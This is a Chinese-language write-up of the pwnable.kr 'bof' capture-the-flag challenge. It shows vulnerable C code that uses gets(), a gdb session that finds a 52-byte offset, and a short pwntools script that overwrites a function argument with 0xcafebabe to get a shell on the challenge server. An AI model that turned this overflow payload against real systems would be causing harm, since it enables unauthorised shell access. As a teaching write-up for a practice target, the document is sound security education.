题目如下:
我们下载完题目中给的两个文件,然后打开bof.c文件,我们可以看到源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>void func(int key)
{char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[])
{func(0xdeadbeef);return 0;
}
看了源码,我们很容易就发现,这道题它是比对函数调用传入的值和0xcafebabe的大小,如果相等,我们的flag就出来了。但是,这个传入的值确是已经被程序写死了。这就是本道题的矛盾之处。
但是我们再往下看,会发现有一个函数gets,我想这个函数是很明显的一个漏洞函数了,因为它读入数据的时候,不检查缓冲区的界限,很容易造成缓冲区溢出漏洞,所以我们一般用fgets函数来代替它。再联系一下题目中的 Nana told me that buffer overflow is one of the most common software vulnerability.
,没错了,问题就出在这里。
我们可以通过往gets函数中输入足够多的数据,使缓冲区溢出,用我们输入的0xcafebabe覆盖之前压进栈的参数,就get 到 flag 啦~
所以现在我们的问题是:我们需要输入多少的数据才能覆盖到之前压入栈中的参数呢?
根据源代码,我们可以分析知道我们应该找到的是gets函数到if函数中做比较,这之间的偏移量是多少
我们用gdb来调试一下:
输入gdb ./bof
我们先输入start
将程序运行起来
然后输入disassemble func
来查看一下被调用函数func反汇编代码
我们发现这样一段反汇编代码0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
可知道我们的比较语句地址在0x56555654,于是我们在这里打一个断点
b *0x56555654
然后输入r
运行程序,这里我们用输入垃圾值,来试探出偏移量,这里我们知道A将在内存中显示为\ x41,而且缓冲区长度为32,我们不如就输入33个A,让其溢出,然后通过检查内存,来查看偏移量
我们发现程序停在断点处,此时我们输入
x /40xw $esp
(x:以十六进制显示 w:以4字节为一个单位显示)
来查看从断点处起的40字节的内存值,由于esp是我们的程序流指针,其里面保存了程序在func栈中运行时的内存的变化
我们可以发现从第一个出现0x41的地方,到我们的0xdeadbeef距离是13个单位,一个单位是4字节,也就是我们的偏移量为52个字节。
于是,只要我们构造出52个字节然后加上0xcafebabe
,用它来覆盖0xdeadbeef
即可
由于题目中提醒我们最后 Running at : nc pwnable.kr 9000
所以我们来写我们的exp
from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()
运行脚本文件,可以得到答案: